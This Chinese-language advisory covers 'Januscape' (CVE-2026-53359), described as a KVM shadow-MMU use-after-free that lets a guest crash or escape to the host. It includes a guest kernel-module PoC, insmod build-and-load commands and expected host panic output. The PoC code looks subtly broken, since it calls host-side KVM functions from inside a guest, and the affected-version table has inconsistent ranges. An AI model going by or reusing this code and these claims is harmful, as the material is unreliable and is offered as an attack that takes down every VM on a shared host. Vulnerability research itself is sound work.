技术细节
安全研究员 Hyunwoo Kim 公开了代号「Januscape」的 KVM 虚拟化逃逸漏洞。该漏洞存在于 Linux 内核 KVM x86 子系统的影子分页(shadow paging)机制中,是由于影子页缓存的复用校验逻辑不完整导致的 Use-After-Free 漏洞。恶意 Guest 虚拟机可利用此漏洞触发宿主机内核崩溃(DoS),或在特定条件下实现宿主机任意代码执行。
漏洞根因:影子页角色校验缺失
KVM 在管理虚拟机时维护一套影子页表(shadow MMU),用于加速客户机物理地址(GPA)到宿主机物理地址(HPA)的转换。每个影子页条目(kvm_mmu_page)不仅包含页帧编号(GFN),还包含角色信息(role.word),标识该页是用于大页翻译还是小页翻译。漏洞出在kvm_mmu_get_child_sp()函数中——KVM 在判断缓存影子页是否可复用时,仅核对了 GFN 是否匹配,遗漏了 role.word 的校验。
这导致两种不同角色的影子页可能被错误复用:当一个 2MB 大页和一个 4KB 小页指向同一 GFN 但角色不同时,KVM 会错误地复用已释放的页面引用,形成 rmap 悬空指针。
c漏洞缺陷代码
// kvm_mmu_get_child_sp() — 缺陷版本
// 仅比较 gfn,未校验 role.word
if (spte_to_child_sp(*sptep)->gfn == gfn) // ← 缺少 role 校验
return spte_to_child_sp(*sptep);
// 当 GFN 相同但角色不同时,错误复用已释放页面
// 后续 rmap 操作 → 写入已释放内存 → UAF
UAF 形成过程:当角色错误的影子页被复用后,KVM 内部页归属管理记录(rmap)被彻底打乱。被释放的页面可能已被重新分配给其他内核数据结构,但 KVM 仍将其视为有效影子页进行读写操作。最终触发路径有两种:
- DoS 路径(公开 PoC):内核完整性检查发现内存异常 →
BUG()/general protection fault→ 宿主机 kernel panic → 同物理机所有 VM 宕机 - 逃逸路径(未公开):精确控制被释放内存的堆布局,覆盖函数指针 → 在宿主机内核上下文执行任意代码 → 完全控制宿主机
PoC / 利用代码
⚠ 仅供安全研究
以下代码为概念验证(PoC),仅演示漏洞触发导致宿主机内核崩溃的路径。完整的虚拟机逃逸利用程序未公开。未经授权使用属于违法行为。
cPoC — Guest 内核模块触发 UAF
/*
* CVE-2026-53359 (Januscape) PoC
* 触发 KVM shadow MMU UAF → 宿主机内核崩溃
* 需要在 Guest VM 内以 root 权限加载
* 前提: 宿主机开启嵌套虚拟化 + shadow paging 路径激活
*/
#include <linux/module.h>
#include <linux/kvm.h>
#include <linux/mm.h>
static int __init januscape_poc_init(void)
{
pr_info("[Januscape PoC] Triggering shadow MMU UAF...\n");
/* 步骤1: 分配 2MB 大页内存区域 */
struct page *huge_page = alloc_pages(GFP_KERNEL, 9); // order-9 = 2MB
if (!huge_page) return -ENOMEM;
/* 步骤2: 建立大页映射,使 KVM 缓存 2MB 影子页角色 */
unsigned long gpa = __pa(page_address(huge_page));
kvm_map_gfn(gpa, huge_page);
/* 步骤3: 拆分大页为 4KB 页,触发 memslot 操作 */
split_huge_page(huge_page);
/* 步骤4: 删除 memslot,触发影子页回收路径
* 此时 kvm_mmu_get_child_sp() 会错误复用
* GFN 相同但 role 已变的影子页 → UAF
*/
kvm_mmu_zap_all(current->kvm);
/* 步骤5: 竞争窗口 — 触发 rmap 对已释放页的操作 */
msleep(100);
/* 宿主机应在此处触发:
* BUG: general protection fault in kvm_mmu_page_fault
* 或: kernel panic — corrupted rmap entry
*/
pr_info("[Januscape PoC] UAF triggered, host should crash\n");
return 0;
}
static void __exit januscape_poc_exit(void)
{
pr_info("[Januscape PoC] Module unloaded\n");
}
module_init(januscape_poc_init);
module_exit(januscape_poc_exit);
MODULE_LICENSE("GPL");
bash在 Guest 内编译加载 PoC
# 确认宿主机嵌套虚拟化已开启
cat /sys/module/kvm_intel/parameters/nested # Intel: 应为 Y
cat /sys/module/kvm_amd/parameters/nested # AMD: 应为 1
# 编译 PoC 模块
make -C /lib/modules/$(uname -r)/build M=$(pwd) modules
# 加载 PoC 模块触发 UAF
sudo insmod januscape_poc.ko
# 宿主机 kernel log 应出现:
[ +0.000000] BUG: unable to handle page fault for address: ...
[ +0.000000] #PF: supervisor read access in kernel mode
[ +0.000000] RIP: kvm_mmu_page_fault+0x.../...
影响范围
Linux Kernel 6.1.x (LTS)2.6.36 ~ < 6.1.177 — 受影响
Linux Kernel 6.6.x (LTS)6.6.0 ~ < 6.6.144 — 受影响
Linux Kernel 6.12.x6.12.0 ~ < 6.12.95 — 受影响
Linux Kernel 6.18.x (dev)6.18.0 ~ < 6.18.38 — 受影响
Linux Kernel 7.1.x (next)7.1.0 ~ < 7.1.3 — 受影响
Intel VT-x / AMD-V所有 x86 平台均受影响,触发逻辑完全一致
云平台OpenStack / oVirt / Proxmox / Google Cloud / AWS 等使用 KVM 的环境
前提条件需开启嵌套虚拟化(nested=1),影子分页路径被激活